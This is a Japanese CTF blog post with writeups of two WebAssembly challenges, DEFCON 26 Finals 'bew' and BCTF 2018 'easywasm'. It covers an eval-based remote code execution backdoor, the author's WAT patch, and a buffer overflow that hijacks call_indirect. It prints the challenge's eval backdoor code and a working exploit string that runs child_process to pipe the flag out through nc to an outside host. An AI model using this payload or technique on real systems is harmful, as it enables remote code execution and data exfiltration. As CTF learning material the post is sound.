WebAssembly解いてみる
CTF Advent Calendar 2018の12日目の記事です。
前回のWebAssemblyネタが書ききれなかったので続きを12日目に突っ込みました。
前回はこれ。
xrekkusu.hatenablog.jp
解説というか中身はただのWebAssembly問題のwriteupです。
bew (DEFCON 26 Finals)
DEFCONの決勝で出題された問題。
webを逆から読んだ問題名の通り、Node.jsで動くサーバを攻撃するWeb問です。
WASMはブラウザ上で動くと思われがちですが、特に実行環境を指定したバイナリ形式ではないので対応していればどんな環境でも動きます。
今回はNode.js内から呼び出しているという問題です。
問題をダウンロードして、「WASM問題くさいな」という直感を元にソースコードを見ると、express-validateというパッケージの中身が差し替わっていて謎のwasmファイルが設定されています。
wasmファイルを雑にstringsすると以下のようなコードが見えます。
{ str = Pointer_stringify($0); try { eval(str); return 1;} catch(err) { return 0; } console.log(eval('const fs = require("fs");fs.writeFile("/tmp/test.txt", "testwrites")') + 'WEBASS got ' + $0); }
WASM内でそのままJSが動くはずがないので、index.jsの方を見るとここにも同じコードが載っていました。
コードの意味については理解できませんがとりあえず……。
ふーん、なるほどね。
DEFCON決勝でこれか……。
今回はWASMの話なので簡単な説明に留めておくと、このコードはNode.jsの権限で動くし、ファイル操作もできてしまうのでバックドアかけ放題でした。 こんな破滅的な問題設定があったもんかと困っていたら、日をまたいで運営があの手この手でバックドアを掛けさせないように頑張っていたのでクソ問だったんだと思います。
はい、それではwasmの中身を見ます。
といっても脆弱性自体は見つかっているので基本的にはディフェンス方向の視点で読むことになります。
ルール上このwasmファイルに対するパッチのみが認められているため、ディフェンスするためには内容を理解する必要があります。
// submit画面のハンドラ部分 var val = require('express-validator') /* 略 */ /* POST page. */ router.post('/submit', function(req, res, next) { str = req.body.name.trim()+"\n"; ptr = val.allocate(val.intArrayFromString(str), 'i8', val.ALLOC_NORMAL); r = val._sanitize(ptr); if (r) { fs.appendFile('public/suspects.txt', str, function (err) { if (err) throw err; console.log('File updated!'); }) res.render('submit', {title: 'Thanks for reporting ' + req.body.name + ''}); } else { res.render('submit', {title: 'Not reported.'}); } });
express-validatorの_sanitize
というメソッドを呼び出した結果によって挙動が変わるみたいです。
ここで、allocate
というメソッドが登場していますが、これは文字列の受け渡しのためにJS側からEmscriptenのラッパを使ってメモリを動的に確保しています。
読むべき関数名がわかったので、wasmのファイルをwatに変換してその関数を探します。
(export "_sanitize" (func 22))
とあるのでwasm2watの結果に(;22;)
というコメントがついている関数が正解です。
WASMではこの辺の管理を番号でやっているのでわかりにくいですが、wasm2watがギリギリサポートしてくれるので助かります。
func 22の中身ですが、これだけで400行弱あってすべてを解説するのは難しいので処理の内容だけ説明すると、
記号だらけの文字列、fs, requireを含む文字列、JSとして実行するとエラーになる文字列の場合は0を返し、それ以外の文字列では1を返す関数になっています。
最後の「JSとして実行するとエラーになる」の部分が冒頭で紹介したコードでチェックされる部分であり、実際に実行してしまっているのでRCEが起きているわけですね。
ディフェンスではこの関数をいじってどうやって安全に文字列をJSとして評価するのかという部分がポイントになりそうです。 binjaではコードの評価時にサンドボックスコードを挿入してrequireをさせにくくするという方針を立てました。
bewのwriteupめいていましたがここからがこの記事の本題です。
サンドボックスコードの作成はチームメンバーにまかせて、自分はサンドボックスコードを挿入する仕組みの方を担当しました。
方針としてはこんな感じで考えました。
mallocもmemcpyも内部で持っているので自分で実装する必要はなく、実装コストは低そうです。
また、EmscriptenではLLVMのSSAを受けたWASMコードが出力されますが、WASM側にそんな制約はないので使われなくなったローカル変数を使い回すことができます。
最終的なパッチ用コードは以下のとおりです。
;; buffer = _malloc(input_len + 500) get_local 41 i32.const 500 i32.add call 24 ;; malloc set_local 33 ;; _memcpy(buffer, patchcode, 128) get_local 33 ;; buffer i32.const 3881 ;; patchcode i32.const 128 ;; patch_header_len call 80 ;; memcpy drop ;; _memcpy(buffer + 128, input, input_len) get_local 33 ;; buffer i32.const 128 i32.add get_local 12 ;; input get_local 41 ;; input_len call 80 ;; memcpy drop ;; _memcpy(buffer + 128 + input_len, patchcode + 128, 128) get_local 33 ;; buffer i32.const 128 get_local 41 i32.add i32.add ;; buffer + 128 + input_len i32.const 4009 ;; patchcode + 128 (4009 = 3881 + 128) i32.const 128 ;; patch_footer_len call 80 ;; memcpy drop
DEFCONではwasmに対するパッチという形で適用され、変更可能バイト数にも上限があるので、必要なさそうなfs文字列の検知とかの部分を潰して上記のコードを挿入しました。
が、結果は失敗。後述の理由により詳細な検証はしていませんが、どこかでコードをミスっているらしく、サーバーに登録される文字列にゴミがついてしまっていたためSLAチェックで落とされてしまいました。
最初の数tickは通っていたのになぜ……。
仕方がないので試しにevalが行われる前に強制的にreturn 1するようにしたらSLAチェックも落ちず、コードも実行されなくなりました。え、それでいいのか?
easywasm (BCTF 2018)
今度はWebジャンルで出るPwnの問題です。
WASMの問題にありがちなのかわかりませんが、WASMの部分を作るのに時間がかかって大体Webインターフェースがゴミです。
今回はGETでパラメータを与えるとWASMの関数に渡してくれるAPIみたいなものが提供されています。
APIは/add_person
, /change_name
, /intro
の3つです。
同様の関数がwasmファイル内にも見られるのでこれらを操作してRCEに持ち込めという問題だということがわかります。
watに変換した後内容を読んでいきます。
読み方を説明したいところではありますが、読む部分に関しては各々の命令を覚えて気合で読むしかないと思います。
add_person
人を追加します。
指定できるのは名前(name)とチューターかどうかのフラグ(is_tutor)です。
これらのデータは次の構造体に格納されます。
struct { int id; // 0 int is_used; // 4 char name[60]; // 8 int print_func; // 68 }
nameは可変長の文字列を受け取りますが、特に文字列長のチェックをせずにstrcpyで書き込みます。(BOF) その後、print_funcに値を設定します。is_tutor!=0のときは6が、is_tutor==0のときは7が書き込まれます。
change_name
名前を変更します。
パラメータはIDと変更する名前(name)です。 こちらも文字列長のチェックをせずにstrcpyします。(BOF)
intro
自己紹介文を出力します。
tutorなら "I am a tutor"、そうでなければ "I am a student" と出力する関数を関数ポインタで呼び出します。
WASM上での任意コード実行
WASMではスタックが完全に別個で管理されているためリターンアドレスの書き換えを元にした攻撃はそもそも存在しません。 加えて、プログラム自体の改変などもできないので任意のコードを実行したり関数を呼び出したりする方法は非常に限られています。
原理的にエクスプロイトに使えそうなものを仕様から探すと、唯一呼び出す関数を切り替えることができるcall_indirect
という命令が見つかります。
これは、スタックから1つインデックスを取ってオペランドに指定したシグネチャを持つ関数を呼び出す命令です。
インデックスは定義されたテーブル内の順番を指す値で、テーブル内に呼び出す関数番号が記述されています。
スタックからインデックスを取るとき、その値はもしかしたらユーザー入力から来る値かもしれません。
もしインデックスに任意の値が設定できた場合、オペランドに指定されているシグネチャと合うテーブルに載っている関数を呼び出すことができます。
筆者が知っている任意コード実行の基点はこれしかないんですが、これ以外に何かないんですかね。
easywasmのエクスプロイト
tutor関数の中身のcall_indirectに関する部分を抜き出すとこのような感じになっています。
if ;; label = @2 get_local 12 ;; index set_local 4 i32.const 4064 get_local 4 i32.const 72 i32.mul i32.add set_local 5 get_local 5 i32.const 68 i32.add set_local 6 ;; var_6 = &print_func get_local 6 i32.load set_local 7 ;; var_7 = print_func get_local 12 ;; index set_local 8 i32.const 4064 get_local 8 i32.const 72 i32.mul i32.add set_local 9 get_local 9 i32.const 8 i32.add set_local 10 ;; name get_local 10 ;; name get_local 7 i32.const 7 i32.and i32.const 18 i32.add call_indirect (type 0) ;; print_func(name) i32.const 0 set_local 1 get_local 1 set_local 11 get_local 22 set_global 12 get_local 11 return end
頭の方で構造体からprint_funcの値を取得し、その値を少しいじってcall_indirectに渡しています。
計算している内容はprint_func & 7 + 18
で、計算結果の値がcall_indirectの引数としてスタックに置かれます。
つまり、print_funcが6, 7の場合はそれぞれテーブルから24, 25番目の関数が呼び出されることになります。
次にテーブルの内容を見てみます。
(elem (get_global 1) 95 33 96 96 39 35 40 96 96 96 34 96 96 96 96 96 96 96 97 97 97 97 97 16 24 25)
24, 25番目の値は24, 25でした。
print_func & 7 + 18
という条件だと18から25までの関数を呼び出すことができるのでこの範囲に使えそうな関数がないかを探します。
この範囲にある他の関数は97, 16です。
16番の関数に注目すると、Emscriptenが以下のような関数をインポートしています。
(import "env" "_emscripten_run_script" (func (;16;) (type 0)))
明らかにスクリプトを実行できそうな上、関数のシグネチャもtype 0で一致しています。
今回type 0のシグネチャは引数に1つ整数値を取って返り値はない関数です。
print_funcは引数にnameを指定して呼び出しているので、print_funcの値を5に設定できればnameの内容がJSとして実行できそうです。
あとはpwnの入門問題相当の内容になります。
add_personではオーバーフローさせてもprint_funcの値は書き換えられないので、change_nameの方のBOFから攻めていきます。
nameに以下のペイロードを設定してchange_nameを呼び出します。
バッファサイズが60文字なので短く書かないといけないかなと思ったんですが、BOFしてるので普通にコメントでprint_func部分を飛ばして後ろにコードを書きました。
name = " " * 58 + "/*\x05" + "*/require('child_process').execSync('cat flag | nc host port')"
次に、すり替えたprint_funcを呼ぶためにintroを呼び出します。
すると仕込んだコードが発火してフラグが降ってきます。
これがWASMのpwn基本問題で難しくしようとしてもやることは変わらない気がするので、問題として今後出るかと言われると怪しい気がします。
しかも、テーブル上の都合のいい位置にJSが実行できる関数が置いてあるはずはなく、今回はそういう環境になるように強引にバイナリが変更されているような気がします。
出たらドヤ顔できるので今後出そうな問題を予想しておくと……いや、思いついたけど問題のネタになりそうなので内緒にしておきます。
おわりに
自作問題までは書く余裕がありませんでした。当初の予定ではbewとそれだったので代わりにeasywasm入れたしいいよね?
中身は「wasm2cを使ってCのコードに戻した後KLEEでシンボリック実行をしよう」というだけなので暇な人はやってみてください。
明日は@hakatashiさんによる「CBCTF Finals のWriteup書けへんやんけ、どうしてくれんねん」です。